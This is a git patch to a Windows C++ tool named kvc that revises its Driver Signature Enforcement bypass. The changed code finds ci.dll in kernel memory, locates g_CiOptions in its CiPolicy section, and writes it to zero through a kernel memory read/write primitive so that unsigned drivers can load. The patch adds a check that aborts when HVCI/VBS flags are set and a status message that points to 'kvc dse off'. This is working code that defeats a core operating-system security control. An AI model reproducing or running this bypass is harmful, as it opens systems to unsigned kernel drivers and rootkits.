From 4f6cf1bdb9bc1e83a3c4f623b989a85f6ee52478 Mon Sep 17 00:00:00 2001 From: wesmar Date: Wed, 15 Oct 2025 12:46:23 +0200 Subject: [PATCH] Aktualizacja: 2025-10-15 12:46:22 --- kvc/DSEBypass.cpp | 116 +++++++++++++--------------------------------- kvc/DSEBypass.h | 8 ++-- kvc/Kvc.cpp | 13 +++++- 3 files changed, 49 insertions(+), 88 deletions(-) diff --git a/kvc/DSEBypass.cpp b/kvc/DSEBypass.cpp index 135a691..26e4bf6 100644 --- a/kvc/DSEBypass.cpp +++ b/kvc/DSEBypass.cpp @@ -3,7 +3,7 @@ #pragma comment(lib, "ntdll.lib") -// Kernel module structures (same as in Utils.cpp) +// Kernel module structures typedef struct _SYSTEM_MODULE { ULONG_PTR Reserved1; ULONG_PTR Reserved2; @@ -45,51 +45,51 @@ bool DSEBypass::DisableDSE() noexcept { DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); - // Step 3: Read current value and store as original + // Step 3: Read current value auto current = m_rtc->Read32(m_ciOptionsAddr); if (!current) { ERROR(L"[DSE] Failed to read g_CiOptions"); return false; } - m_originalValue = current.value(); - DEBUG(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); + DWORD currentValue = current.value(); + m_originalValue = currentValue; + DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); - // Step 4: Test write capability - write same value back - DEBUG(L"[DSE] Testing write capability before modification..."); - if (!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) { - ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); - ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring"); + // Step 4: Check for ANY HVCI/VBS protection bits + if (currentValue & 0x0001C000) { + ERROR(L"[!] Cannot proceed: g_CiOptions = 0x%08X (HVCI flags: 0x%05X)", + currentValue, (currentValue & 0x0001C000)); + ERROR(L"[!] System uses VBS with hypervisor protection (Ring -1 below kernel)"); + ERROR(L"[!] Memory integrity enforced at hardware virtualization level"); + ERROR(L"[!] DSE bypass impossible - disable VBS in BIOS/Windows Security"); return false; } - // Verify test write - auto testRead = m_rtc->Read32(m_ciOptionsAddr); - if (!testRead || testRead.value() != m_originalValue) { - ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)", - m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF); - ERROR(L"[DSE] Memory region appears to be protected or monitored"); + // Step 5: Verify we have patchable DSE (0x00000006) + if (currentValue != 0x00000006) { + ERROR(L"[DSE] Unexpected g_CiOptions value: 0x%08X (expected: 0x00000006)", currentValue); + ERROR(L"[DSE] DSE may already be disabled or system configuration unsupported"); return false; } - DEBUG(L"[DSE] Write capability test passed - memory is writable"); - - // Step 5: Disable DSE by clearing ONLY DSE bits (preserve ALL other flags) - DWORD newValue = m_originalValue & ~0x6; // Clear bit 1 and 2 (DSE), keep rest + // Step 6: Disable DSE by clearing bits 1 and 2 + DWORD newValue = 0x00000000; if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { ERROR(L"[DSE] Failed to write g_CiOptions"); return false; } - // Step 6: Verify the actual change + // Step 7: Verify the change auto verify = m_rtc->Read32(m_ciOptionsAddr); if (!verify || verify.value() != newValue) { - ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF); + ERROR(L"[DSE] Verification failed (expected: 0x%08X, got: 0x%08X)", + newValue, verify ? verify.value() : 0xFFFFFFFF); return false; } - SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue); + SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue); return true; } @@ -122,31 +122,15 @@ bool DSEBypass::RestoreDSE() noexcept { DWORD currentValue = current.value(); DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); - // Step 4: Test write capability before modification - DEBUG(L"[DSE] Testing write capability before restoration..."); - if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) { - ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); + // Step 4: Verify DSE is disabled (0x00000000) + if (currentValue != 0x00000000) { + ERROR(L"[DSE] Unexpected g_CiOptions value: 0x%08X (expected: 0x00000000)", currentValue); + ERROR(L"[DSE] DSE may already be enabled or system configuration unsupported"); return false; } - auto testRead = m_rtc->Read32(m_ciOptionsAddr); - if (!testRead || testRead.value() != currentValue) { - ERROR(L"[DSE] Memory test verification failed"); - return false; - } - - DEBUG(L"[DSE] Write capability test passed"); - - // Step 5: Restore DSE bits (preserve HVCI/security flags if present) - DWORD newValue; - - if (m_originalValue) { - // We have stored original value from disable - use it - newValue = m_originalValue; - } else { - // No stored original - restore DSE bits while preserving security flags - newValue = currentValue | 0x6; // Set DSE bits, keep upper bits intact - } + // Step 5: Restore DSE bits + DWORD newValue = 0x00000006; if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { ERROR(L"[DSE] Failed to write g_CiOptions"); @@ -156,7 +140,8 @@ bool DSEBypass::RestoreDSE() noexcept { // Step 6: Verify the change auto verify = m_rtc->Read32(m_ciOptionsAddr); if (!verify || verify.value() != newValue) { - ERROR(L"[DSE] Verification failed"); + ERROR(L"[DSE] Verification failed (expected: 0x%08X, got: 0x%08X)", + newValue, verify ? verify.value() : 0xFFFFFFFF); return false; } @@ -216,20 +201,6 @@ std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) return std::nullopt; } - INFO(L"[DSE] Found %d kernel modules", modules->Count); - - // Debug: Show first 10 modules for diagnostic purposes - DEBUG(L"[DSE] Listing first 10 kernel modules:"); - for (ULONG i = 0; i < modules->Count && i < 10; i++) { - auto& mod = modules->Modules[i]; - const char* fileName = strrchr(mod.ImageName, '\\'); - if (fileName) fileName++; - else fileName = mod.ImageName; - - DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, - reinterpret_cast(mod.ImageBase)); - } - // Search for target module by name for (ULONG i = 0; i < modules->Count; i++) { auto& mod = modules->Modules[i]; @@ -245,10 +216,9 @@ std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) if (_stricmp(fileName, moduleName) == 0) { ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); - // Validate base address is not NULL if (baseAddr == 0) { ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); - continue; // Keep searching in case of duplicates + continue; } DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); @@ -276,7 +246,6 @@ ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); // g_CiOptions is always at offset +4 in CiPolicy section - // This is a documented offset used by all DSE bypass tools ULONG_PTR ciOptionsAddr = dataStart + 0x4; // Verify we can read from this address @@ -324,7 +293,7 @@ std::optional> DSEBypass::GetDataSection(ULONG_PTR DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value()); - // ZOPTYMALIZOWANE: Szukaj tylko CiPolicy bez wypisywania wszystkich + // Search for CiPolicy section for (WORD i = 0; i < numSections.value(); i++) { ULONG_PTR sectionHeader = firstSection + (i * 40); @@ -354,25 +323,4 @@ std::optional> DSEBypass::GetDataSection(ULONG_PTR ERROR(L"[DSE] CiPolicy section not found in ci.dll"); return std::nullopt; -} - -bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { - // Simplified validation - address should be within module bounds - // Maximum reasonable module size is 2MB - return (addr > moduleBase && addr < moduleBase + 0x200000); -} - -DWORD DSEBypass::GetWindowsBuild() noexcept { - OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; - - typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); - RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( - GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); - - if (RtlGetVersion) { - RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); - return osInfo.dwBuildNumber; - } - - return 0; } \ No newline at end of file diff --git a/kvc/DSEBypass.h b/kvc/DSEBypass.h index 3c2d2ba..870aa31 100644 --- a/kvc/DSEBypass.h +++ b/kvc/DSEBypass.h @@ -28,8 +28,10 @@ public: private: // Internal PE parsing helpers - std::optional> GetTextSection(ULONG_PTR moduleBase) noexcept; std::optional> GetDataSection(ULONG_PTR moduleBase) noexcept; - bool IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept; - DWORD GetWindowsBuild() noexcept; + + // HVCI/VBS detection + bool IsHVCIEnabled(DWORD ciOptionsValue) const noexcept { + return (ciOptionsValue & 0x0001C000) != 0; + } }; \ No newline at end of file diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp index e913246..d562213 100644 --- a/kvc/Kvc.cpp +++ b/kvc/Kvc.cpp @@ -332,6 +332,7 @@ int wmain(int argc, wchar_t* argv[]) } bool dseEnabled = (value & 0x6) != 0; // Bit 1 and 2 = DSE + bool hvciEnabled = (value & 0x0001C000) != 0; // HVCI/VBS flags std::wcout << L"\n"; INFO(L"DSE Status Information:"); @@ -341,12 +342,22 @@ int wmain(int argc, wchar_t* argv[]) INFO(L" Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR"); std::wcout << L"\n"; - if (dseEnabled) { + // Check for HVCI/VBS first + if (hvciEnabled) { + SUCCESS(L"Driver Signature Enforcement: ENABLED"); + std::wcout << L"\n"; + ERROR(L"[!] HVCI/VBS detected (flags: 0x%05X)", (value & 0x0001C000)); + ERROR(L"[!] System uses VBS with hypervisor protection (Ring -1 below kernel)"); + ERROR(L"[!] DSE bypass not available - kernel memory protected by Secure Kernel"); + } + else if (dseEnabled) { SUCCESS(L"Driver Signature Enforcement: ENABLED"); INFO(L"System is protected - only signed drivers can load"); + INFO(L"DSE bypass available - use 'kvc dse off' to disable"); } else { ERROR(L"Driver Signature Enforcement: DISABLED"); INFO(L"WARNING: Unsigned drivers can be loaded!"); + INFO(L"Use 'kvc dse on' to restore protection"); } std::wcout << L"\n";